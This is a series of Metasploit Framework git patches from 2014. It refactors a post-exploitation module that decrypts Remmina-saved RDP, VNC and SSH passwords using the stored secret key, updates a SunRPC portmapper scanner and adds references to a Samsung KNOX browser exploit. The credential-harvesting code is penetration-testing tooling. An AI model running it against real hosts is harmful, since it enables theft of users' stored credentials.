extract_all_creds - if creds_count == 0 + creds = extract_all_creds + creds.uniq! + if creds.empty? == 0 print_status('No Reminna credentials collected') else - print_good("Collected #{creds_count} sets of Remmina credentials") + vprint_good("Collected #{creds.size} sets of Remmina credentials") + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Remmina Credentials', + 'Indent' => 1, + 'Columns' => %w(Host Port Service User Password) + ) + + creds.each do |cred| + cred_table << cred + end + + print_line(cred_table.to_s) end end @@ -54,7 +66,7 @@ class Metasploit3 < Msf::Post # Extracts all remmina creds found anywhere on the target def extract_all_creds - creds_count = 0 + creds = [] user_dirs = enum_user_directories if user_dirs.empty? print_error('No user directories found') @@ -91,15 +103,15 @@ class Metasploit3 < Msf::Post if cred_files.empty? vprint_status("No Remmina credential files in #{remmina_dir}") else - creds_count += extract_creds(secret, cred_files) + creds |= extract_creds(secret, cred_files) end end end - creds_count + creds end def extract_creds(secret, files) - creds_count = 0 + creds = [] files.each do |file| settings = get_settings(file) if settings.empty? @@ -140,27 +152,7 @@ class Metasploit3 < Msf::Post end if host && user && password - credential_core = create_credential( - origin_type: :session, - post_reference_name: self.refname, - private_type: :password, - private_data: password, - session_id: session_db_id, - username: user, - workspace_id: myworkspace_id - ) - login_data = { - address: host, - port: port, - protocol: 'tcp', - service_name: proto.downcase, - core: credential_core, - access_level: 'User', - status: Metasploit::Model::Login::Status::UNTRIED, - workspace_id: myworkspace_id - } - create_credential_login(login_data) - creds_count += 1 + creds << [ host, port, proto.downcase, user, password ] else missing = [] missing << 'host' unless host @@ -169,7 +161,7 @@ class Metasploit3 < Msf::Post vprint_error("No #{missing.join(',')} in #{file}") end end - creds_count + creds end def get_settings(file) From bf05fe13890cc9501307ea5cccccfd2b5a465840 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 30 Oct 2014 17:07:20 -0700 Subject: [PATCH 74/99] Refactoring, simplification, better print_* --- modules/post/multi/gather/remmina_creds.rb | 80 ++++++++++------------ 1 file changed, 38 insertions(+), 42 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index ebff190234..0bfe9ef667 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -1,6 +1,6 @@ # encoding: binary ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,8 +30,8 @@ class Metasploit3 < Msf::Post def run creds = extract_all_creds creds.uniq! - if creds.empty? == 0 - print_status('No Reminna credentials collected') + if creds.empty? + vprint_status('No Reminna credentials collected') else vprint_good("Collected #{creds.size} sets of Remmina credentials") cred_table = Rex::Ui::Text::Table.new( @@ -70,43 +70,39 @@ class Metasploit3 < Msf::Post user_dirs = enum_user_directories if user_dirs.empty? print_error('No user directories found') - else - vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories") - # walk through each user directory - enum_user_directories.each do |user_dir| - remmina_dir = ::File.join(user_dir, '.remmina') - pref_file = ::File.join(remmina_dir, 'remmina.pref') - next unless file?(pref_file) + return + end - remmina_prefs = get_settings(pref_file) - if remmina_prefs.empty? - print_error("Unable to extract Remmina settings from #{pref_file}") - next - end + vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories") + # walk through each user directory + enum_user_directories.each do |user_dir| + remmina_dir = ::File.join(user_dir, '.remmina') + pref_file = ::File.join(remmina_dir, 'remmina.pref') + next unless file?(pref_file) - secret = remmina_prefs['secret'] - if secret - vprint_status("Extracted secret #{secret} from #{pref_file}") - else - print_error("No Remmina secret key found in #{pref_file}") - next - end + remmina_prefs = get_settings(pref_file) + next if remmina_prefs.empty? - # look for any \d+\.remmina files which contain the creds - cred_files = [] - dir(remmina_dir).each do |entry| - if entry =~ /^\d+\.remmina$/ - cred_files << ::File.join(remmina_dir, entry) - end - end + if (secret = remmina_prefs['secret']) + vprint_status("Extracted secret #{secret} from #{pref_file}") + else + print_error("No Remmina secret key found in #{pref_file}") + next + end - if cred_files.empty? - vprint_status("No Remmina credential files in #{remmina_dir}") - else - creds |= extract_creds(secret, cred_files) - end + # look for any \d+\.remmina files which contain the creds + cred_files = dir(remmina_dir).map do |entry| + ::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/ + end + cred_files.compact! + + if cred_files.empty? + vprint_status("No Remmina credential files in #{remmina_dir}") + else + creds |= extract_creds(secret, cred_files) end end + creds end @@ -114,10 +110,7 @@ class Metasploit3 < Msf::Post creds = [] files.each do |file| settings = get_settings(file) - if settings.empty? - print_error("No settings found in #{file}") - next - end + next if settings.empty? # get protocol, host, user proto = settings['protocol'] @@ -135,6 +128,8 @@ class Metasploit3 < Msf::Post user = domain + '\\' + settings['username'] end when 'SFTP', 'SSH' + # XXX: in my testing, the box to save SSH passwords was disabled + # so this may never work user = settings['ssh_username'] port = 22 else @@ -144,10 +139,8 @@ class Metasploit3 < Msf::Post # get the password encrypted_password = settings['password'] - if encrypted_password.blank? - # in my testing, the box to save SSH passwords was disabled. - password = nil - else + password = nil + unless encrypted_password.blank? password = decrypt(secret, encrypted_password) end @@ -161,6 +154,7 @@ class Metasploit3 < Msf::Post vprint_error("No #{missing.join(',')} in #{file}") end end + creds end @@ -171,6 +165,8 @@ class Metasploit3 < Msf::Post settings[Regexp.last_match(1)] = Regexp.last_match(2) end end + + vprint_error("No settings found in #{file}") if settings.empty? settings end end From ce73e32673ec943d986a1ba14558841000532939 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 30 Oct 2014 17:12:33 -0700 Subject: [PATCH 75/99] Doc and named captures --- modules/post/multi/gather/remmina_creds.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 0bfe9ef667..61d466072d 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -158,11 +158,12 @@ class Metasploit3 < Msf::Post creds end + # Reads key=value pairs from the specified file, returning them as a Hash of key => value def get_settings(file) settings = {} read_file(file).split("\n").each do |line| - if line =~ /^\s*([^#][^=]+)=(.*)/ - settings[Regexp.last_match(1)] = Regexp.last_match(2) + if /^\s*(?[^#][^=]+)=(?.*)/ =~ line + settings[setting] = value end end From d5afb2b76678cb1e31f64f2162b4c64df4350355 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 17 Nov 2014 08:57:37 -0800 Subject: [PATCH 76/99] %q --- modules/post/multi/gather/remmina_creds.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 61d466072d..97c1ce091a 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -14,12 +14,13 @@ class Metasploit3 < Msf::Post super(update_info( info, 'Name' => 'UNIX Gather Remmina Credentials', - 'Description' => - "Post module to obtain credentials saved for RDP and VNC + 'Description' => %q( + Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files. These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design) stored in (relatively) - plain text in a file that must be properly protected.", + plain text in a file that must be properly protected. + ), 'License' => MSF_LICENSE, 'Author' => ['Jon Hart '], 'Platform' => %w(bsd linux osx unix), From 98db8b5ad988fb80b52ccc092270127bddda5baa Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 17 Nov 2014 09:10:03 -0800 Subject: [PATCH 77/99] When not a meterpreter session, split dir/ls output to match meterpreter entries output --- lib/msf/core/post/file.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 4596c8df66..3bfd2e98b0 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -36,9 +36,9 @@ module Msf::Post::File return session.fs.dir.entries(where) else if session.platform =~ /win/ - return session.shell_command_token("dir #{where}") + return session.shell_command_token("dir #{where}").split(/[\r\n]+/) else - return session.shell_command_token("ls #{where}") + return session.shell_command_token("ls #{where}").split(/[\r\n]+/) end end end From cd32f00ebc7342b6adbea9b0520d255622f4f738 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 17 Nov 2014 09:15:08 -0800 Subject: [PATCH 78/99] Add dir doc --- lib/msf/core/post/file.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 3bfd2e98b0..5c5b3ea84e 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -31,14 +31,17 @@ module Msf::Post::File end end - def dir(where = nil) + # + # Returns a list of the contents of the specified +directory+ + # + def dir(directory = nil) if session.type == 'meterpreter' - return session.fs.dir.entries(where) + return session.fs.dir.entries(directory) else if session.platform =~ /win/ - return session.shell_command_token("dir #{where}").split(/[\r\n]+/) + return session.shell_command_token("dir #{directory}").split(/[\r\n]+/) else - return session.shell_command_token("ls #{where}").split(/[\r\n]+/) + return session.shell_command_token("ls #{directory}").split(/[\r\n]+/) end end end From 405eae4b6e93b3cda310078b4a42e8f4d1b0669e Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 17 Nov 2014 11:46:36 -0600 Subject: [PATCH 79/99] Remove EOL whitespace --- modules/auxiliary/server/browser_autopwn.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 8f19a9a0c2..8df9a3f552 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -851,7 +851,7 @@ class Metasploit3 < Msf::Auxiliary return !! client_str.match(module_spec) when ::Array return !! exploit_spec.map{ |spec| - client_matches_module_spec?(client_str, spec) + client_matches_module_spec?(client_str, spec) }.include?(true) end @@ -935,7 +935,6 @@ class Metasploit3 < Msf::Auxiliary detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) print_status("JavaScript Report: #{detected_version}") - (os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') if framework.db.active @@ -947,7 +946,7 @@ class Metasploit3 < Msf::Auxiliary note_data['os.version'] = os_sp if os_sp != 'undefined' note_data['os.language'] = os_lang if os_lang != 'undefined' note_data['os.arch'] = arch if arch != 'undefined' - note_data['os.certainty'] = '0.7' + note_data['os.certainty'] = '0.7' print_status("Reporting: #{note_data.inspect}") # Reporting stuff isn't really essential since we store all From 15b7435c3479c04ad5eec122b862fdda636ab5e3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 17 Nov 2014 12:03:37 -0600 Subject: [PATCH 80/99] Make it YARD compliant documentation --- lib/msf/core/post/file.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 5c5b3ea84e..98a55d900a 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -31,9 +31,9 @@ module Msf::Post::File end end - # - # Returns a list of the contents of the specified +directory+ - # + # Returns a list of the contents of the specified directory + # @param directory [String] the directory to list + # @return [Array] the contents of the directory def dir(directory = nil) if session.type == 'meterpreter' return session.fs.dir.entries(directory) From cc8b37d6191bbd162c5d5c56638b0ce31968ce15 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 17 Nov 2014 12:15:33 -0600 Subject: [PATCH 81/99] Make directory mandatory --- lib/msf/core/post/file.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 98a55d900a..d5208a11f9 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -34,7 +34,7 @@ module Msf::Post::File # Returns a list of the contents of the specified directory # @param directory [String] the directory to list # @return [Array] the contents of the directory - def dir(directory = nil) + def dir(directory) if session.type == 'meterpreter' return session.fs.dir.entries(directory) else From 145e610c0f1a9f11025d1927cd4265b97db7082a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 17 Nov 2014 12:22:30 -0600 Subject: [PATCH 82/99] Avoid shadowing new method --- modules/exploits/windows/local/ikeext_service.rb | 12 ++++++------ .../windows/gather/credentials/bulletproof_ftp.rb | 8 ++++---- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index e0dc12af1b..9a95a6a22f 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -163,15 +163,15 @@ class Metasploit3 < Msf::Exploit::Local def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") - @non_existant_dirs.each do |dir| + @non_existant_dirs.each do |directory| begin - client.fs.dir.mkdir(dir) - if exist?(dir) - register_file_for_cleanup(dir) - return dir + client.fs.dir.mkdir(directory) + if exist?(directory) + register_file_for_cleanup(directory) + return directory end rescue Rex::Post::Meterpreter::RequestError => e - vprint_status("Unable to create dir: #{dir} - #{e}") + vprint_status("Unable to create dir: #{directory} - #{e}") end end diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index 7df3c7d0c6..20c23ca6c3 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -171,10 +171,10 @@ class Metasploit3 < Msf::Post end def check_bulletproof(user_dir) - session.fs.dir.foreach(user_dir) do |dir| - if dir =~ /BulletProof Software/ - vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}") - return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" + session.fs.dir.foreach(user_dir) do |directory| + if directory =~ /BulletProof Software/ + vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}") + return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" end end return nil From b3b37c7c9fa9b56e132d823128741831140d34eb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 17 Nov 2014 12:23:22 -0600 Subject: [PATCH 83/99] Use longer description lines --- modules/post/multi/gather/remmina_creds.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index 97c1ce091a..dc636a5a23 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -15,11 +15,9 @@ class Metasploit3 < Msf::Post info, 'Name' => 'UNIX Gather Remmina Credentials', 'Description' => %q( - Post module to obtain credentials saved for RDP and VNC - from Remmina's configuration files. These are - encrypted with 3DES using a 256-bit key generated by - Remmina which is (by design) stored in (relatively) - plain text in a file that must be properly protected. + Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files. + These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design) + stored in (relatively) plain text in a file that must be properly protected. ), 'License' => MSF_LICENSE, 'Author' => ['Jon Hart '], From 54de805b7a2c04573ebb12bc6f12002951ba2971 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 17 Nov 2014 12:49:18 -0600 Subject: [PATCH 84/99] Report credentials * Even when we are not associating them to hosts * It's a post module so maybe we cannot solve some names --- modules/post/multi/gather/remmina_creds.rb | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb index dc636a5a23..a7f9b7ff42 100644 --- a/modules/post/multi/gather/remmina_creds.rb +++ b/modules/post/multi/gather/remmina_creds.rb @@ -41,6 +41,7 @@ class Metasploit3 < Msf::Post creds.each do |cred| cred_table << cred + report_credential(cred[3], cred[4]) end print_line(cred_table.to_s) @@ -169,4 +170,19 @@ class Metasploit3 < Msf::Post vprint_error("No settings found in #{file}") if settings.empty? settings end + + def report_credential(user, pass) + credential_data = { + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + create_credential(credential_data) + end + end From 0f41bdc8b8d3258159bc096ac59295cbba4d88b5 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 17 Nov 2014 13:26:21 -0600 Subject: [PATCH 85/99] Add an OSVDB ref --- modules/exploits/android/browser/samsung_knox_smdm_url.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 4fd0df685d..0bc0c5fa1e 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote 'joev' # msf module ], 'References' => [ - ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'] + ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'], + ['OSVDB', '114590'] ], 'Platform' => 'android', 'Arch' => ARCH_DALVIK, From 39980c7e8797ad5bfc9553ebf8dba79ff1c651af Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 17 Nov 2014 13:29:00 -0600 Subject: [PATCH 86/99] Fix up KNOX caps, descriptive description --- modules/exploits/android/browser/samsung_knox_smdm_url.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index 0bc0c5fa1e..4616753613 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -16,11 +16,12 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Samsung Galaxy Knox Android Browser RCE', + 'Name' => 'Samsung Galaxy KNOX Android Browser RCE', 'Description' => %q{ - A vulnerability exists in the Knox security component of the Samsung Galaxy + A vulnerability exists in the KNOX security component of the Samsung Galaxy firmware that allows a remote webpage to install an APK with arbitrary - permissions. + permissions by abusing the 'smdm://' protocol handler registered by the KNOX + component. The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, and Ace 4. From f51dd2b6f4b6c60fb62ae34914d2a7d92910f215 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 17 Nov 2014 18:06:01 -0800 Subject: [PATCH 87/99] Use bundler/setup for more graceful bundler related failures --- config/boot.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/config/boot.rb b/config/boot.rb index d1c7a63765..d48eec278d 100644 --- a/config/boot.rb +++ b/config/boot.rb @@ -23,15 +23,13 @@ unless ENV['BUNDLE_GEMFILE'] end begin - require 'bundler' + require 'bundler/setup' rescue LoadError $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" $stderr.puts " $ gem install bundler" - exit(0) + exit(1) end -Bundler.setup - lib_path = root.join('lib').to_path unless $LOAD_PATH.include? lib_path From 059d84e4cadf16a6168b68ea4fb9a05263b09b3a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 09:25:21 -0700 Subject: [PATCH 88/99] More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper --- .../scanner/misc/sunrpc_portmapper.rb | 40 ++++++++++++------- 1 file changed, 25 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index a7c3802bb3..8b9adba1ec 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -25,12 +25,11 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE ) - - register_options([], self.class) end def run_host(ip) - vprint_status "#{ip}:#{rport} - SunRPC - Enumerating programs" + peer = "#{ip}:#{rport}" + vprint_status "#{peer} - SunRPC - Enumerating programs" begin program = 100000 @@ -44,34 +43,45 @@ class Metasploit3 < Msf::Auxiliary progs = resp[3,1].unpack('C')[0] maps = [] if (progs == 0x01) - print_good("#{ip}:#{rport} - Programs available") while XDR.decode_int!(resp) == 1 do map = XDR.decode!(resp, Integer, Integer, Integer, Integer) maps << map end end sunrpc_destroy + return if maps.empty? + print_good("#{peer} - Found #{maps.size} programs available") + + table = Rex::Ui::Text::Table.new( + 'Header' => "SunRPC Programs for #{ip}.", + 'Indent' => 1, + 'Columns' => %w(Name Number Version Port Protocol) + ) - lines = [] maps.each do |map| - prog, vers, prot, port = map[0,4] - prot = if prot == 0x06; "tcp" - elsif prot == 0x11; "udp" - end - lines << "\t#{progresolv(prog)} - #{port}/#{prot}" + prog, vers, prot_num, port = map[0,4] + thing = "RPC Program ##{prog} v#{vers} on port #{port} w/ protocol #{prot_num}" + if prot_num == 0x06 + proto = 'tcp' + elsif prot_num == 0x11 + proto = 'udp' + else + print_error("#{peer}: unknown protocol number for #{thing}") + next + end + resolved = progresolv(prog) + table << [ resolved, prog, vers, port, proto ] report_service( :host => ip, :port => port, - :proto => prot, - :name => progresolv(prog), + :proto => proto, + :name => resolved, :info => "Prog: #{prog} Version: #{vers} - via portmapper" ) end - # So we don't print a line for every program version - lines.uniq.each {|line| print_line(line)} - + print_good(table.to_s) rescue ::Rex::Proto::SunRPC::RPCTimeout end end From c7794a7ed99f3978ef422c8f15860ee6cf58112f Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 10:04:04 -0700 Subject: [PATCH 89/99] Clean up Ruby style in sunrpc_portmapper --- .../scanner/misc/sunrpc_portmapper.rb | 41 +++++++++---------- 1 file changed, 19 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index 8b9adba1ec..8d90d62190 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -6,22 +6,21 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SunRPC include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( - 'Name' => 'SunRPC Portmap Program Enumerator', - 'Description' => %q{ - This module calls the target portmap service and enumerates all - program entries and their running port numbers. - }, - 'Author' => [''], - 'References' => + 'Name' => 'SunRPC Portmap Program Enumerator', + 'Description' => ' + This module calls the target portmap service and enumerates all program + entries and their running port numbers. + ', + 'Author' => [''], + 'References' => [ - ['URL', 'http://www.ietf.org/rfc/rfc1057.txt'], + ['URL', 'http://www.ietf.org/rfc/rfc1057.txt'] ], 'License' => MSF_LICENSE ) @@ -37,15 +36,14 @@ class Metasploit3 < Msf::Auxiliary procedure = 4 sunrpc_create('udp', program, progver) - sunrpc_authnull() + sunrpc_authnull resp = sunrpc_call(procedure, "") - progs = resp[3,1].unpack('C')[0] + progs = resp[3, 1].unpack('C')[0] maps = [] if (progs == 0x01) - while XDR.decode_int!(resp) == 1 do - map = XDR.decode!(resp, Integer, Integer, Integer, Integer) - maps << map + while XDR.decode_int!(resp) == 1 + maps << XDR.decode!(resp, Integer, Integer, Integer, Integer) end end sunrpc_destroy @@ -53,13 +51,13 @@ class Metasploit3 < Msf::Auxiliary print_good("#{peer} - Found #{maps.size} programs available") table = Rex::Ui::Text::Table.new( - 'Header' => "SunRPC Programs for #{ip}.", + 'Header' => "SunRPC Programs for #{ip}", 'Indent' => 1, 'Columns' => %w(Name Number Version Port Protocol) ) maps.each do |map| - prog, vers, prot_num, port = map[0,4] + prog, vers, prot_num, port = map[0, 4] thing = "RPC Program ##{prog} v#{vers} on port #{port} w/ protocol #{prot_num}" if prot_num == 0x06 proto = 'tcp' @@ -73,11 +71,11 @@ class Metasploit3 < Msf::Auxiliary resolved = progresolv(prog) table << [ resolved, prog, vers, port, proto ] report_service( - :host => ip, - :port => port, - :proto => proto, - :name => resolved, - :info => "Prog: #{prog} Version: #{vers} - via portmapper" + host: ip, + port: port, + proto: proto, + name: resolved, + info: "Prog: #{prog} Version: #{vers} - via portmapper" ) end @@ -85,5 +83,4 @@ class Metasploit3 < Msf::Auxiliary rescue ::Rex::Proto::SunRPC::RPCTimeout end end - end From a9f9a8b116ef6b1bb0d931d35802f86befeda3d4 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 10:54:52 -0700 Subject: [PATCH 90/99] Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner --- lib/msf/core/exploit/sunrpc.rb | 15 +++++---------- lib/rex/proto/sunrpc/client.rb | 17 ++++++++++++++--- .../auxiliary/scanner/misc/sunrpc_portmapper.rb | 5 +++-- 3 files changed, 22 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index e315742419..741d1b1a29 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -68,7 +68,7 @@ module Exploit::Remote::SunRPC end ret = rpcobj.create - return print_error("#{rhost}:#{rport} - SunRPC - No response to Portmap request") unless ret + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer) if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0 @@ -76,18 +76,15 @@ module Exploit::Remote::SunRPC err << 'Message not accepted' if arr[1] != MSG_ACCEPTED err << 'RPC did not execute' if arr[4] != SUCCESS err << 'Program not available' if arr[5] == 0 - print_error(err) - return nil + raise ::Rex::Proto::SunRPC::RPCError, err end rpcobj.pport = arr[5] - #progname = progresolv(rpcobj.program) - #print_status("#{rhost} - SunRPC Found #{progname} on #{protocol} port #{rpcobj.pport}") end def sunrpc_call(proc, buf, timeout=20) ret = rpcobj.call(proc, buf, timeout) - return print_error("#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}") unless ret + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer) if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS @@ -105,8 +102,7 @@ module Exploit::Remote::SunRPC else err << "Unknown Error" end end - print_error("#{rhost}:#{rport} - SunRPC - #{err}") - return nil + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - #{err}" end return ret end @@ -142,8 +138,7 @@ module Exploit::Remote::SunRPC when GARBAGE_ARGS then err << "Garbage Arguments" else err << "Unknown Error" end - print_error("#{rhost}:#{rport} - SunRPC - #{err}") - return nil + raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - #{err}" end return ret diff --git a/lib/rex/proto/sunrpc/client.rb b/lib/rex/proto/sunrpc/client.rb index b96e9c6f46..25847a81c0 100644 --- a/lib/rex/proto/sunrpc/client.rb +++ b/lib/rex/proto/sunrpc/client.rb @@ -6,10 +6,21 @@ module Rex module Proto module SunRPC +class RPCError < ::StandardError + def initialize(msg = 'RPC operation failed') + super + @msg = msg + end + + def to_s + @msg + end +end + class RPCTimeout < ::Interrupt - def initialize(msg = 'Operation timed out.') - @msg = msg - end + def initialize(msg = 'Operation timed out.') + @msg = msg + end def to_s @msg diff --git a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb index 8d90d62190..79e0140fbf 100644 --- a/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb +++ b/modules/auxiliary/scanner/misc/sunrpc_portmapper.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary progver = 2 procedure = 4 - sunrpc_create('udp', program, progver) + return unless sunrpc_create('udp', program, progver) sunrpc_authnull resp = sunrpc_call(procedure, "") @@ -80,7 +80,8 @@ class Metasploit3 < Msf::Auxiliary end print_good(table.to_s) - rescue ::Rex::Proto::SunRPC::RPCTimeout + rescue ::Rex::Proto::SunRPC::RPCTimeout, ::Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) end end end From bfde6047d596c31c6960f5c54ffb316df53e9061 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 21 Oct 2014 11:19:08 -0700 Subject: [PATCH 91/99] Introduce a user-controlled timeout for SunRPC stuff --- lib/msf/core/exploit/sunrpc.rb | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/sunrpc.rb b/lib/msf/core/exploit/sunrpc.rb index 741d1b1a29..9645b3247e 100644 --- a/lib/msf/core/exploit/sunrpc.rb +++ b/lib/msf/core/exploit/sunrpc.rb @@ -38,24 +38,26 @@ module Exploit::Remote::SunRPC register_advanced_options( [ -# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req + OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5]) + # XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req ], Msf::Exploit::Remote::SunRPC) register_options( [ -# XXX: XPORT + # XXX: XPORT 